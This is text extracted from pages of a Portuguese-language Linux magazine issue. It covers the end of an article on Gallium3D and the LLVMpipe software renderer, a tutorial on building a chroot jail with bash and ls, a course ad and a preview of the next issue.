do kernel é geralmente conhecido como gerenciador de renderização direta, ou Direct Rendering
Manager (DRM).
Linux DRM (Kernel)
Hardware
Figura 3 Arquivos gráficos atravessam alguns componentes no Linux,
mas o processamento é rápido.
À primeira vista, a interface
Winsys e o kernel DRM podem parecer redundantes, afinal, o driver
da placa gráfica deve ser capaz de
se comunicar diretamente com
a placa; no entanto, estas duas
etapas intermediárias são as que
tornam os drivers mais elegantes
e independentes de plataforma.
Apenas a interface Winsys precisa saber qual sistema operacional
está atualmente sendo afetado e
como se comunicar com ele. Como
ela apenas passa sobre os dados,
a interface pode ser pequena e
criada rapidamente. Além disso,
a interface pode usar qualquer
driver de placa gráfica, por isso
precisa ser desenvolvida apenas
uma vez para cada sistema operacional. O atual driver da placa
gráfica pode, portanto, permanecer praticamente inalterado por
todas as plataformas.
73
Fronted
Otimização
de código
LLVM IR
Backend
Programa
compelto
Figura 4 Com o compilador LLVM, um frontend, como o compilador Clang C, cria um código intermediário que um backend transfere para um programa, digamos, de processador x86, após a otimização.
Para obter uma visualização 3D
acelerada no Linux, portanto, o usuário precisa de um driver Gallium3D
que se encaixe na placa gráfica e um
módulo do kernel DRM correspondente. Infelizmente, os principais
fabricantes de cartões gráficos fazem criações próprias, de modo que
os desenvolvedores livres acabam
tendo que violá-los mais uma vez.
Atualmente os drivers Gallium3D
estão disponíveis para hardware
Intel e algumas placas gráficas ATI;
a NVidia, entretanto, suporta o conhecido driver Nouveau.
Como os fabricantes não publicam detalhes de hardware em seus
chips gráficos, o desenvolvimento
de drivers livres é geralmente um
processo tedioso. Ainda hoje, o
Nouveau não fornece dados de desempenho para seu driver proprietário da NVIDIA. Como a Tungsten
Graphics agora pertence à VMware,
fabricante de virtualizadores de mesmo nome, não é nenhuma surpresa que exista um driver Gallium3D
para a placa gráfica simulada das
máquinas virtuais.
Por dentro do pipe
Como referência e modelo para drivers aspirantes a leitores, a equipe
Gallium3D fornece o softpipe driver.
Este driver executa os cálculos 3D
do processador, uma transação
que é extremamente longa e não
é apropriada para uso diário. José
Fonseca, dessa forma, surgiu com
a ideia de rebaixar o softpipe driver
no compilador LLVM (quadro 1). Ele
e alguns colegas, entre eles Brian
Paul, inventor do Mesa, ajustaram o
softpipe driver com um rasterizador
Figura 5 Como reporta o “glxinfo” na linha destacada, o Unity executa sob o LLVMpipe. Podemos testar o LLVMpipe em uma máquina
virtual, como neste exemplo.
Quadro 1: Compilador LLVM
O LLVM é um compilador modular [7]. Primeiro, um componente frontend traduz o código fonte para a linguagem especial LLVM Intermediate Representation (IR) (figura 4). O código do programa otimiza o LLVM antes de
entregá-lo ao backend, o atual programa do processador específico. Embora o processo pareça complicado, o sistema todo é extremamente rápido, e o idioma LLVM IR pode ser executado em uma máquina virtual (figura 5). Para
acelerar ainda mais o processo, o usuário encontrará disponível um compilador [8] que faz todo o trabalho na hora.
O LLMVpipe transfere os comandos necessários para calcular os pixels da imagem acabada para o idioma IR
LLVM. Além de pontos, linhas e triângulos, estes também incluem os chamados shaders. Shaders são miniprogramas que realmente funcionam com a placa gráfica e, em geral, produzem grandes efeitos visuais como fumaça e
reflexos. O LLVMpipe transforma todos os cálculos necessários em comandos da linguagem LLVM IR e, em seguida,
permite que a LLVM os traduza e execute. Para que o LLVMpipe alcance seu pleno potencial, os desenvolvedores recomendam um sistema de 64 bits e um processador x86 com, pelo menos, a instrução de extensão SSE2.
Todos estes fatores contribuem para que o LLVMpipe apresente ao menos simples aplicativos 3D suavemente
na tela. Zack Rusin, desenvolvedor do LLVMpipe, relatou em seu blog que conseguia jogar o Alien Arena [9] em
25 frames por segundo em um Xeon E5405 com baixa resolução. O velho software rasterizador Mesa produziu
um slideshow único em 3,5 frames por segundo, em comparação [10]. Medidas feitas por Michael Larabel do site
Phoronix Internet confirmam esses valores.
74
www.linuxmagazine.com.br
mais potente (também conhecido
como rasterer ou renderizador) [5].
Este renderizador calcula a imagem
de pixel completa a partir dos dados 3D. Para entregar a imagem o
mais depressa possível, os cálculos
fluem para um programa que, em
seguida, permite que o compilador
LLVM os traduza e execute. Para
acelerar ainda mais o processo, o
rasterizador distribui os cálculos
em todos os cores disponíveis do
processador. O resultado surge com
o nome de LLVMpipe [6].
Conclusão
O LLVMpipe provavelmente não
poderá controlar uma placa gráfica
3D com um driver posteriormente
otimizado porque o processador
principal precisará lidar com muitas
tarefas, ao passo que a placa gráfica
3D é projetada e otimizada para o
processamento rápido de gráficos
3D. Além disso, o trabalho com o
LLVMpipe continua, com algumas
Coleção
Academy!
funções aguardando implementação.
O LLVMpipe, portanto, contará como
uma espécie de “último recurso”, mas
seu desempenho é adequado para
interfaces gráficas e aplicativos 3D
simples, como prova a combinação
do Ubuntu 12.10 com Unity. n
Gostou do artigo?
Queremos ouvir sua opinião.
Fale conosco em:
[email protected]
Este artigo no nosso site:
http://lnm.com.br/article/8840
Mais informações
[1] Khronos Group: http://www.khronos.org
[2] Mesa: http://www.mesa3d.org
[3] Gallium3D:
http://freedesktop.org/wiki/Software/gallium/
[4] OpenVG at Wikipedia:
http://en.wikipedia.org/wiki/OpenVG/
[5] Rasterization at Wikipedia:
http://en.wikipedia.org/wiki/Rasterisation/
[6] LLVMpipe: http://www.mesa3d.org/llvmpipe.html
[7] LLVM: http://www.llvm.org
[8] Just-in-time compilation at Wikipedia:
http://en.wikipedia.org/wiki/Just‑in‑time_compilation
[9] Alien Arena: http://red.planetarena.org
[10] “The software renderer” by Zack Rusin:
http://zrusin.blogspot.de/2010/03/software‑renderer.html
[11] LLVMpipe Still Doesn’t Work For Linux Gaming; by Michael Larabel:
http://www.phoronix.com/scan.php?page=news_item&px=MTEwODM
Instalação e congifuração de
servidores VoIP com Asterisk.
Configuração de ramais,
extensões, secretária eletrônica,
monitoramento e espionagem
de chamadas, planos de
discagem, URA e muitos outros
aspectos que abordam o uso de
centrais telefônicas IP PBX.
Disponível no site
www.LinuxMagazine.com.br
Linux Magazine #106 | Setembro de 2013
75
Segurança
Prisão privada
Virtualizar é bom, mas às vezes pode ser um exagero, se tudo o que o usuário quiser fazer for executar um programa
que poderia representar uma ameaça ao sistema. O chroot jails oferece uma alternativa leve, rápida e bem testada.
por Paul C. Brown
U
ma das coisas mais perigosas
que o usuário pode fazer no
sistema é executar software
baixado da Internet a partir de um
site desconhecido ou ainda aplicativos
que não foram testados e que podem
conter erros fatais. Em ambos os casos,
nunca é aconselhável arriscar dados
e hardware, executando aplicativos
duvidosos diretamente no sistema
utilizado diariamente para trabalho
e lazer. No entanto, o usuário não
precisa desistir de experimentar um
novo software. Poderia até ser uma
exigência de trabalho, caso em que
o usuário trabalha na área de TI desenvolvendo código potencialmente
perigoso – e, sejamos francos, todo o
código experimental é potencialmente perigoso. No Linux, podemos criar
um ambiente fechado e controlado
para fazer estas coisas, e é exatamente
sobre o que se trata o chroot.
Espaço pessoal
Usar o chroot é de certa forma semelhante a virtualizar um sistema, mas é muito
mais limitado em termos de escopo.
Ao invés de recriar um sistema de computador inteiro, o chroot permite que o
usuário crie um Shell do convidado e
um sistema de arquivos (inicialmente)
vazio em um diretório favorito em sua
própria árvore de diretórios.
O sistema convidado herda algumas das características do sistema de
host – sabidamente, o kernel e a maior
parte das variáveis de ambiente – mas
a árvore de diretórios desaparece,
juntamente com todos os comandos,
bibliotecas compartilhadas, diretórios
76
do dispositivo e outros recursos. Dentro desta “ficha limpa”de um sistema,
criamos um novo sistema de arquivos a
partir do zero, contendo apenas o que
é necessário para executar o aplicativo
que temos que testar; daí o seu nome:
para todos os efeitos práticos, mudamos o local do diretório raiz.
Depois de haver decidido onde
ficará a chroot jail, o usuário pode
começar a copiar software para criar
um ambiente seguro. Devido às características deste tipo de ambiente,
é altamente improvável que o sistema
host será afetado se alguma coisa der
errado. Por exemplo, é quase impossível
que aplicativos jailed modifiquem ou
apaguem arquivos de fora do chroot
no sistema host – sendo o“quase”uma
palavra importante na frase anterior.
Compilando o jail
Compilar um chroot jail é muito
simples. Tudo o que o usuário tem
a fazer é criar um novo diretório e
apontar o chroot para ele:
$ mkdir myjail
$ sudo chroot myjail
Note que, embora o diretório
possa pertencer ao próprio usuário, o chroot só pode ser executado
com privilégios de superusuário,
daí o sudo no início da linha.
No entanto, a entrada das duas linhas
anteriores só levará a um erro como:
chroot: failed to run
command '/bin/bash':
No such file or directory
Isso acontece porque o Shell Bash
é como qualquer outro programa
e, quando o sistema tenta acessar
um Shell de dentro do jail, ele não o
encontra e quebra. Assim, o próximo
passo é a criação de um programa
de Shell de dentro do jail.
Para isso, a primeira coisa a fazer
é criar um diretório bin (que é onde
os programas executáveis essenciais
de um sistema Linux geralmente se
encontram) no diretório de teste e
copiar o bash do do /bin do host:
$ mkdir myjail/bin
$ cp bin/bash myjail/bin
Podemos pensar que isso é suficiente, mas, se tentarmos o chroot
novamente, ele retornará o mesmo
que antes, porque o Bash depende
de vários outros arquivos que contenham código chamado de bibliotecas, que são necessárias para fazer o
trabalho. O usuário precisa descobrir
qual deles deve selecionar e copiá-los para jail. Note que, de dentro do
jail, o resto do sistema é invisível, e o
usuário não pode acessar qualquer
Listagem 1: Bibliotecas
dependentes do Bash
$ ldd /bin/bash
linux‑vdso.so.1
(0x00007fff10576000)
libreadline.so.6 => /lib64/
libreadline.so.6
(0x00007fa02c744000)
libtinfo.so.5 => /lib64/
libtinfo.so.5
(0x00007fa02c511000)
libdl.so.2 => /lib64/libdl.
so.2 (0x00007fa02c30d000)
libc.so.6 => /lib64/libc.so.6
(0x00007fa02bf60000)
/lib64/ld‑linux‑x86‑64.so.2
(0x00007fa02c98c000)
www.linuxmagazine.com.br
arquivo do exterior, incluindo essas
bibliotecas muito importantes.
Para descobrir quais bibliotecas o
Bash necessita, podemos usar o comando ldd. A sintaxe é muito simples:
tudo o que temos a fazer é passar o
caminho e o nome do aplicativo que
desejamos verificar. Na listagem 1,
estamos executando ldd para Bash,
que retorna uma lista de bibliotecas
e onde elas estão instaladas. Observe
que a maioria reside em um diretório
chamado lib64/, vinculado ao diretório raiz (/). O 64 indica que estamos
usando um sistema de 64 bits. Se o
usuário estiver utilizando um sistema
de 32 bits, o diretório será simplesmente chamado de lib/.
O primeiro item da lista, linux-vd‑
so.so.1 (0x00007fff10576000), é uma
biblioteca virtual usada em alguns
sistemas Linux, e podemos ignorá-la
sumariamente. O restante das linhas
aponta para bibliotecas reais que
temos que copiar para um diretório
com o mesmo nome no chroot jail:
$ mkdir myjail/lib64
$ cp /lib64/
libreadline.so.6 myjail/lib/
$ cp /lib64/libtinfo.so.5 myjail/lib/
...
...e assim por diante. Depois de copiar
todos os arquivos, podemos testar
o jail novamente:
sudo chroot myjail/
Password:
bash‑4.2#
Sucesso! O fato de agora termos
um prompt mostra que tudo está
funcionando como deveria. No entanto, logo iremos nos deparar com
algumas limitações. Embora possamos acessar os diretórios /bin e /lib
que criamos no jail com o comando cd
e talvez copiar e mover arquivos para
ele, não podemos fazer muito mais
do que isso. Não podemos nem listar
o conteúdo dos diretórios (embora
possamos usar o comando pwd para
ver onde nos encontramos dentro da
árvore de diretórios).
Linux Magazine #106 | Setembro de 2013
Isso porque, enquanto cd e pwd
são comandos integrados no Bash –
conhecidos como builtin commands
– o ls, programa utilizado para listar
o conteúdo do diretório, não é. Para
usar o ls, temos que passar por um
processo semelhante ao qual passamos para fazer com que o Bash
funcione, incluindo copiar todas as
bibliotecas das quais ele depende.
Para começar, saia do jail com:
bash‑4.1# exit
Quadro 1:
Como executar
aplicativos complexos
Se o usuário quiser executar
aplicativos que são muito mais
complexos do que o ls em um
chroot jail, logo irá descobrir que
terá que incluir diretórios inteiros
antes que tudo funcione. O que
torna as coisas ainda mais difíceis
é descobrir que alguns destes diretórios, como /proc, /dev e /sys
nem sequer contêm arquivos e
subdiretórios reais, mas virtuais.
Arquivos como /dev/sda ou
/proc/cpuinfo não apontam para
dados reais no disco rígido, mas
são criados quando há o boot
do sistema ou mesmo quando o
sistema está em execução e não
pode ser copiado ou movido. Eles
também não podem ser vinculados
ao ln-s porque, como mencionado
anteriormente, o resto do sistema
além do jail é invisível de dentro
dele, logo, os links para arquivos
e diretórios fora do jail aparecem
como quebrados.
Felizmente, há uma solução para
este problema. Usando a opção de
comando mount -o bind, o usuário
pode vincular diretórios para seu
diretório e eles ainda estarão disponíveis quando executarmos chroot:
$
$
$
$
$
cd myjail
mkdir proc
mkdir dev
mount ‑o bind /proc proc
mount ‑o bind /dev dev
Mas, atenção: use este método
com moderação, se o seu objetivo
for criar um ambiente isolado, pois
o comando mount ‑o bind abrirá um
grande buraco nas paredes do jail.
em seguida, verifique a listagem 2
para ver como ele é criado, a entrada
está em negrito). A lista de bibliotecas pode variar de sistema para
sistema. Algumas das bibliotecas
já estão no diretório mijail/lib64,
assim, podemos ignorá-las. Uma
vez concluído o processo, o usuário será capaz de usar ls como faria
no sistema host. E isso é tudo o que
podemos fazer com este comando.
O processo pode ficar muito mais
complicado se o usuário pretender
utilizar o jail com programas mais
complexos, por isso leia com atenção o quadro 1, que contém algumas
dicas sobre como fazer as coisas
funcionarem sem problemas. n
Listagem 2: Como fazer o ls
funcionar no jail
01 $ cp /bin/ls myjail/bin/
02 $ ldd /bin/ls
03 linux‑vdso.so.1 =>
(0x00007ffffcb35000)
04 libselinux.so.1 => /lib64/ libselinux.so.1
(0x00000036e3c00000)
05 librt.so.1 => /lib64/librt.so.1
(0x00000036e3400000)
06 libcap.so.2 => /lib64/libcap.so.2 (0x00000036ecc00000)
07 libacl.so.1 => /lib64/libacl.so.1 (0x00000036f1400000)
08 libc.so.6 => /lib64/libc.so.6
(0x00000036e1c00000)
09 libdl.so.2 => /lib64/libdl.so.2
(0x00000036e2000000)
10 /lib64/ld‑linux‑x86‑64.so.2 (0x00000036e1800000)
11 libpthread.so.0 => /lib64/ libpthread.so.0
(0x00000036e2400000)
12 libattr.so.1 => /lib64/libattr. so.1 (0x00000036ef000000)
13 $ cp /lib64/libselinux.so.1 myjail/lib64/
14 $ cp /lib64/librt.so.1 myjail/lib64/
15 $ cp /lib64/libcap.so.2 myjail/
lib64/
16 $ cp /lib64/libacl.so.1 myjail/ lib64/
17 $ cp /lib64/libpthread.so.0 myjail/lib64/
18 $ cp /lib64/libattr.so.1 myjail/ lib64/
19 $ sudo chroot myjail
20 Password:
21 bash‑4.1# ls
22 bin lib64
23 bash‑4.1#
77
Preview
Linux Magazine #107
GED
Documentos formam a grande massa
de conhecimentos de uma empresa.
Um sistema GED (Gestão Eletrônica de
Documentos) permite preservar esse
patrimônio e organizar eletronicamente a
documentação, para assegurar a informação
necessária, na hora exata, para a pessoa certa.
Na próxima edição da Linux Magazine, você
vai conhecer o sistema GED Alfresco, que
revolucionou o mercado de colaboração
e compartilhamento de documentos em
uma rede empresarial e poderá ser o mais
novo e fiel amigo de usuários que precisam
armazenar digitalmente documentos
importantes, colaborar em equipe através
do compartilhamento monitorado de
conteúdo e gerenciar como um todo as
informações trocadas entre membros de
uma empresa. n
Admin Magazine #10
OpenStack
Capaz de gerênciar os componentes
de múltiplas instâncias virtualizadas,
o OpenStack é um dos queridinhos
dos profissionais de infraestrutura e
virtualização da atualidade. É livre, não
possui restrições quanto à quantidade de instâncias e é uma plataforma
robusta, extremamente útil nestes
tempos onde o advento da computação em nuvem já é uma realidade. Na
próxima edição da Admin Magazine
você vai conhecer tudo o que essa incrível ferramenta pode fazer por você!
Não perca! n
82
www.linuxmagazine.com.br
Download

Community Edition 106